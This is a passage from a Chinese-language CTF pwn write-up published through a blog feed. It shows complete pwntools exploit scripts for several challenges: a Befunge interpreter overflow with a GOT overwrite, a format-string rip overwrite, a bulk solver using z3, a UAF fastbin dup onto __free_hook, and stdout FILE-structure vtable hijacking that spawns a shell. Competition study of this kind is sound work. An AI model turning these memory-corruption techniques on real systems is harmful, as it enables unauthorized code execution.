p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(4, 8, 8) # 8 -&amp;gt; p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(4, 8, 8) # 8 -&amp;gt; p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(4, 8, 8) # 8 -&amp;gt; p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(4, 8, 8) # 8 -&amp;gt; p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)



p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, libc.sym[&apos;__libc_start_main&apos;]+128)
edit(6, 0x02a3e5)
edit(3, 0x1d8678)
edit(5, libc.sym[&apos;system&apos;])
edit(4, 0x029139)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

sub(8, 7, 7)
add(6, 7, 2)
add(3, 7, 3)
add(4, 7, 4)
add(5, 7, 5)

# gdb.attach(p)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# edit(0, libc_base + 0xebd43) # one_gadget

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Week 5&lt;/h1&gt;
&lt;h2&gt;go?&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;这是一个Befunge解释器&lt;/p&gt;
&lt;p&gt;原始指令表如下：（为了对齐，把\n改为:）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v       ,*25    &amp;lt;
&quot;v       &amp;lt;    
:&amp;gt;~:25* -|v &amp;lt; 
t,          , 
u,       &amp;gt;&amp;gt;:| 
p,          &amp;gt;   ^
n,  
i,
&quot;,
&amp;gt;^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;效果为输出input\n，读入直到\n并复读&lt;/p&gt;
&lt;p&gt;明显存在模拟栈上的溢出，可修改到指令表&lt;/p&gt;
&lt;p&gt;由于按QWORD存入，溢出&apos;   &amp;gt;&amp;amp;&amp;amp;&amp;amp;p&amp;lt;\n&apos;后得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                &amp;gt;       &amp;amp;       &amp;amp;       &amp;amp;       p       &amp;lt;
              
:&amp;gt;~:25* -|v &amp;lt; 
t,          , 
u,       &amp;gt;&amp;gt;:| 
p,          &amp;gt;   ^
n,  
i,
&quot;,
&amp;gt;^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实现程序的修改&lt;/p&gt;
&lt;p&gt;再得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                &amp;gt;       &amp;amp;       &amp;amp;       &amp;amp;       p       v
                ^,g&amp;amp;&amp;amp;                                   &amp;lt;
                ^                                       &amp;lt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于p, g没有对参数检查，实现任意程序内地址的读写&lt;/p&gt;
&lt;p&gt;读取stdout泄露libc基址&lt;/p&gt;
&lt;p&gt;尝试将.got.plt的地址改为one gadget，均不可用（应该吧）&lt;/p&gt;
&lt;p&gt;发现&lt;code&gt;&amp;amp;&lt;/code&gt;功能可以将输入的数字放入rdi，从而控制rdi&lt;/p&gt;
&lt;p&gt;将rand的got地址改为system (因为rand本身无参数)&lt;/p&gt;
&lt;p&gt;输入/bin/sh的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &apos;amd64&apos;
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

# p = process(&apos;./chal&apos;)
p = remote(&apos;xxx&apos;, xxx)
libc = ELF(&apos;./libc.so.6&apos;)

def edit1(row, column, c):
  p.sendline(str(ord(c)).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())
  p.send(b&apos;9\n9\n9\n&apos;)

def edit(row = 9, column = 9, c = &apos;9&apos;):
  p.sendline(str(ord(c)).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())

def edit2(row, column, c):
  p.sendline(str(c).encode())
  p.sendline(str(row).encode())
  p.sendline(str(column).encode())

def show(row = 9, column = 9):
  p.sendline(str(column).encode())
  p.sendline(str(row).encode())



p.send(b&apos;A&apos;*255 + b&apos;  &amp;gt;&amp;amp;&amp;amp;&amp;amp;p&amp;lt;\n&apos;)

p.recvuntil(b&apos;A&apos;*255)

edit1(1, 16, &apos;^&apos;)
edit1(1, 17, &apos;,&apos;)
edit1(1, 18, &apos;g&apos;)
edit1(1, 19, &apos;&amp;amp;&apos;)
edit1(1, 20, &apos;&amp;amp;&apos;)
edit1(1, 56, &apos;&amp;lt;&apos;)
edit1(2, 16, &apos;^&apos;)
edit1(2, 56, &apos;&amp;lt;&apos;)

# gdb.attach(p, &apos;b *$rebase(0x001847)\n&apos;)

edit(0, 56, &apos;v&apos;)
show(0, -2112)
edit()
show(0, -2111)
edit()
show(0, -2110)
edit()
show(0, -2109)
edit()
show(0, -2108)
edit()
show(0, -2107)
libc_base = u64(p.recv(6).ljust(8, b&apos;\x00&apos;)) - libc.sym[&apos;_IO_2_1_stdout_&apos;]
log.success(f&quot;libc_base -&amp;gt; {hex(libc_base)}&quot;)

edit(1, 56, &apos;v&apos;)

addr = libc_base + libc.sym[&apos;system&apos;]
print(hex(addr))

edit2(0, -2280, addr % 256)
addr //= 256
edit2(0, -2279, addr % 256)
addr //= 256
edit2(0, -2278, addr % 256)
addr //= 256
edit2(0, -2277, addr % 256)
addr //= 256
edit2(0, -2276, addr % 256)
addr //= 256
edit2(0, -2275, addr % 256)

# gdb.attach(p)

edit(0, 55, &apos;&amp;amp;&apos;)
p.sendline(&apos;0&apos;.encode())
edit(0, 56, &apos;?&apos;)
p.sendline(str(libc_base + next(libc.search(&apos;/bin/sh&apos;))).encode())

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复读机堂堂归来！复读机堂堂归来！&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;读入的内容放在了bss段，printf格式化漏洞只能利用栈上原本的信息&lt;/p&gt;
&lt;p&gt;存在后门函数win()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;image-20251026143448197&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照这个路径修改，先用&lt;code&gt;%6$(h)hn&lt;/code&gt;把蓝色箭头所指位置改为rip栈上位置，再通过&lt;code&gt;%26$hhn&lt;/code&gt;把rip改为win地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &apos;amd64&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

p = process(&apos;./bss_fmt&apos;)
# p = remote(&apos;xxx&apos;, xxx)

p.recvuntil(b&apos;!\n&apos;)

p.recvuntil(b&apos;!\n&apos;)
p.sendline(b&apos;%p&apos;)
p_base = int(p.recvline(keepends=False), 16) - 0x004060
log.success(f&apos;p_base -&amp;gt; {hex(p_base)}&apos;)

p.recvuntil(b&apos;!\n&apos;)
p.sendline(b&apos;%p %p %p %p %p %p&apos;)
rip = int(p.recvline(keepends=False).decode().split(&apos; &apos;)[-1], 16) - 0x98
log.success(f&apos;rip -&amp;gt; {hex(rip)}&apos;)

# gdb.attach(p)

win = p_base + 0x001289
log.success(f&apos;win -&amp;gt; {hex(win)}&apos;)

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%(256*256)}c%6$hn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())
win //= 256

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%256+1}c%6$hhn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())
win //= 256

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%256+2}c%6$hhn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())
win //= 256

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%256+3}c%6$hhn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())
win //= 256

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%256+4}c%6$hhn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())
win //= 256

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{rip%256+5}c%6$hhn&apos;.encode())

p.recvuntil(b&apos;!\n&apos;)
p.sendline(f&apos;%{win%256}c%26$hhn&apos;.encode())

# gdb.attach(p)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Pwn the world&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;一个比较暴力的解法，通过elf.disasm强行获取参数&lt;/p&gt;
&lt;p&gt;chal总共有5种情况&lt;/p&gt;
&lt;p&gt;值得注意的是，循环位移那题scanf %lld读入时要考虑符号位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import z3

context.arch = &apos;amd64&apos;
# context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

io = remote(&apos;xxx&apos;, xxx)

def decrypt(v2, constant):
    solver = z3.Solver()
    
    v1 = z3.BitVec(&apos;v1&apos;, 64)
    c = z3.BitVecVal(constant, 64)
    target = z3.BitVecVal(v2, 64)

    value = v1
    for i in range(1, 17):
        value = (value &amp;gt;&amp;gt; 64 - i) ^ (value &amp;lt;&amp;lt; i) ^ c
    
    solver.add(value == target)

    if solver.check() == z3.sat:
        model = solver.model()
        return model[v1].as_long()
    else:
        print(&quot;ERROR&quot;)
        exit(1)

io.send(b&apos;\n&apos;)

for i in range(1, 10001):
    io.recvuntil(f&apos;Please input the payload of level{i}\n&apos;.encode())
    elf = ELF(f&apos;./bins/chal{i}&apos;)
    data = elf.get_section_by_name(&apos;.data&apos;).data().lstrip(b&apos;\x00&apos;)
    pos = data.find(b&apos;\x00&apos;)
    username = data[0:pos].ljust(0x30, b&apos;\x00&apos;)
    data = data[pos:].lstrip(b&apos;\x00&apos;)
    pos = data.find(b&apos;\x00&apos;)
    password = data[0:pos].ljust(0x30, b&apos;\x00&apos;)
    payload = username + password

    core = elf.disasm(elf.sym[&apos;core&apos;], 200)
    # print(core)

    rodata = elf.get_section_by_name(&apos;.rodata&apos;).data()

    if b&apos;your gift&apos; in rodata:
        pos = core.find(&apos;movabs rax, &apos;)
        core = core[pos+12:]
        pos = core.find(&apos;rax, [rbp-&apos;)
        core = core[pos+10:]
        pos = core.find(&apos;]&apos;)
        sz = int(core[0:pos], 16) - 8
        pos = core.find(&apos;movabs rax, &apos;)
        core = core[pos+12:]
        pos = core.find(&apos;\n&apos;)
        v = int(core[0:pos], 16)
        # print(sz)
        payload += b&apos;\x00&apos;*sz + p64(v)
    elif b&apos;my gift&apos; in rodata:
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+6:]
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+6:]
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+6:]
        pos = core.find(&apos;\n&apos;)
        sz = int(core[0:pos], 16)
        payload += (str(0x402000+rodata.find(b&apos;LEVEL PASS&apos;)).encode() + b&apos;\n&apos;) * (sz+1)
        payload += b&apos;a\n&apos;
    elif b&apos;%lld&apos; in rodata:
        pos = core.find(&apos;movabs rax, &apos;)
        core = core[pos+12:]
        pos = core.find(&apos;\n&apos;)
        v2 = int(core[0:pos], 16)
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+4:]
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+4:]
        pos = core.find(&apos;ax, 0x&apos;)
        core = core[pos+4:]
        pos = core.find(&apos;\n&apos;)
        c = int(core[0:pos], 16)
        # print(hex(v2))
        # print(hex(c))
        num = decrypt(v2, c)
        # print(num)
        # print(hex(num))
        if num &amp;gt; 0x7FFFFFFFFFFFFFFF:
            # 使用二补码转换：负数值 = 目标值 - 2^64
            num = num - (1 &amp;lt;&amp;lt; 64)
        payload += str(num).encode() + b&apos;\n&apos;
    elif &apos;backdoor&apos; in elf.symbols:
        pos = core.find(&apos;[rbp-&apos;)
        core = core[pos+5:]
        pos = core.find(&apos;]&apos;)
        sz = int(core[0:pos], 16)
        payload += b&apos;A&apos;*(sz+8) + p64(elf.sym[&apos;backdoor&apos;]) + b&apos;a\n&apos;

    payload += b&apos;EOF\n&apos;

    io.send(payload)
    log.success(i)

    # p = process(f&apos;./bins/chal{i}&apos;)
    # # gdb.attach(p, &apos;b core\nc\n&apos;)
    # p.send(payload)
    # p.interactive()

io.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;note&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;有无限制UAF漏洞&lt;/p&gt;
&lt;p&gt;（这题想复杂了，UAF直接改tcache链表就能直接申请到__free_hook，不过如果没有edit功能的话应该可以这么做）&lt;/p&gt;
&lt;p&gt;用unsorted bin泄露libc基址&lt;/p&gt;
&lt;p&gt;申请9个小块，释放7个填满tcache，然后fastbin dup改__free_hook&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &apos;amd64&apos;
# context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

# p = process(&apos;./pwn&apos;)
p = remote(&apos;xxx&apos;, xxx)

def malloc(index, size, content):
    p.sendlineafter(b&apos;input your choice &amp;gt;&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
    p.sendlineafter(b&apos;input index: &apos;, str(index).encode())
    p.sendlineafter(b&apos;input size: &apos;, str(size).encode())
    p.sendafter(b&apos;input your note: &apos;, content)

def edit(index, content):
    p.sendlineafter(b&apos;input your choice &amp;gt;&amp;gt;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendlineafter(b&apos;input index: &apos;, str(index).encode())
    p.sendafter(b&apos;input your new note: &apos;, content)

def show(index):
    p.sendlineafter(b&apos;input your choice &amp;gt;&amp;gt;&amp;gt; &apos;, b&apos;3&apos;)
    p.sendlineafter(b&apos;input index: &apos;, str(index).encode())

def free(index):
    p.sendlineafter(b&apos;input your choice &amp;gt;&amp;gt;&amp;gt; &apos;, b&apos;4&apos;)
    p.sendlineafter(b&apos;input index: &apos;, str(index).encode())

malloc(14, 0x500, b&quot;123&quot;)
malloc(15, 0x70, b&quot;123&quot;)
# malloc(3, 0x70, b&quot;123&quot;)
free(14) # unsorted bin
show(14)

p.recvuntil(b&apos;now, show the note: &apos;)
addr = u64(p.recv(6).ljust(8, b&apos;\x00&apos;))
log.success(f&quot;addr -&amp;gt; {hex(addr)}&quot;)

for i in range(9): # 0-8
  malloc(i, 0x18, b&quot;aaaa&quot;)

for i in range(7): # 0-6
  free(i)

free(7)
free(8)
free(7)
  
for i in range(7): # 0-6
  malloc(i, 0x18, b&quot;aaaa&quot;)

malloc(8, 0x18, p64(addr+0x1C48)) # __free_hook

malloc(9, 0x18, b&apos;/bin/sh&apos;)

malloc(10, 0x18, b&apos;AAAAA&apos;)

malloc(11, 0x18, p64(addr-3786880)) # system

# gdb.attach(p)

free(9)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;stdout&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;读入0xF0大小进stdout&lt;/p&gt;
&lt;p&gt;对vtable偏移，使得原本调用__xsputn变成&lt;/p&gt;
&lt;p&gt;_IO_wfile_jumps -&amp;gt; _IO_wfile_seekoff -&amp;gt; _IO_switch_to_wget_mode&lt;/p&gt;
&lt;p&gt;_lock位置要可读可写（这里用了原来的）&lt;/p&gt;
&lt;p&gt;_IO_wfile_seekoff取&lt;code&gt;[fp + 0xa0]&lt;/code&gt;作为&lt;code&gt;rax1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里需要满足几个条件&lt;/p&gt;
&lt;p&gt;①&lt;img src=&quot;./2.png&quot; alt=&quot;image-20251026150557296&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[rax + 0x10]&lt;/code&gt;位置小于&lt;code&gt;[rax + 8]&lt;/code&gt;位置&lt;/p&gt;
&lt;p&gt;②&lt;img src=&quot;./3.png&quot; alt=&quot;image-20251026150807235&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[rax + 0x20]&lt;/code&gt;位置大于&lt;code&gt;[rax + 0x18]&lt;/code&gt;位置&lt;/p&gt;
&lt;p&gt;_IO_switch_to_wget_mode取&lt;code&gt;[rax1 + 0xe0]&lt;/code&gt;作为&lt;code&gt;rax2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再call &lt;code&gt;[rax2 + 0x18]&lt;/code&gt;存放的函数地址，&lt;code&gt;rdi&lt;/code&gt;为fp，也就是_flags&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &apos;amd64&apos;
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

p = process(&apos;./FILE&apos;)
# p = remote(&apos;39.106.48.123&apos;, 31448)
elf = ELF(&apos;./FILE&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

p.recvuntil(b&apos;The file You are writing to is: &apos;)
stdout_addr = int(p.recvline(keepends=False).decode(), 16)
log.success(hex(stdout_addr))
libc_base = stdout_addr - libc.sym[&apos;_IO_2_1_stdout_&apos;]
log.success(f&apos;libc_base -&amp;gt; {hex(libc_base)}&apos;)

# libc_base + next(libc.search(b&apos;/bin/sh&apos;))
payload = p64(0x68732f6e69622f) # _flags = rdi
payload += p64(0) # read ptr
payload += p64(1) # read end
payload += p64(0) # read base
payload += p64(2) # write base
payload += p64(3) # write ptr
payload += p64(0) # write end
payload += p64(0) # buf base
payload += p64(0) # buf end
payload += p64(0) # save base
payload += p64(0) # backup base
payload += p64(libc_base + libc.sym[&apos;system&apos;]) # save end = call addr = &quot;rax2 + 0x18&quot;
payload += p64(0) # _markers
payload += p64(0) # _chain
payload += p64(0) # _fileno
payload += p64(0) # _old_offset
payload += p64(0) # _cur_column
payload += p64(libc_base + 0x21B730) # _lock
payload += p64(0) # _offset
payload += p64(0) # _codecvx
payload += p64(stdout_addr + 0x8) # _wfile_data rax1 &quot;0xa0&quot;
payload += p64(0) # _freers_list
payload += p64(0) # _freers_buf
payload += p64(0) # __pad5
payload += p32(0) # _mode
payload += b&apos;\x00&apos;*20 # _unused2
payload += p64(libc_base + libc.sym[&apos;_IO_wfile_jumps&apos;] + 0x10)
payload += p64(0) # padding
payload += p64(stdout_addr + 0x40) # rax2

# gdb.attach(p, &apos;b _IO_wfile_seekoff\n&apos;)

p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>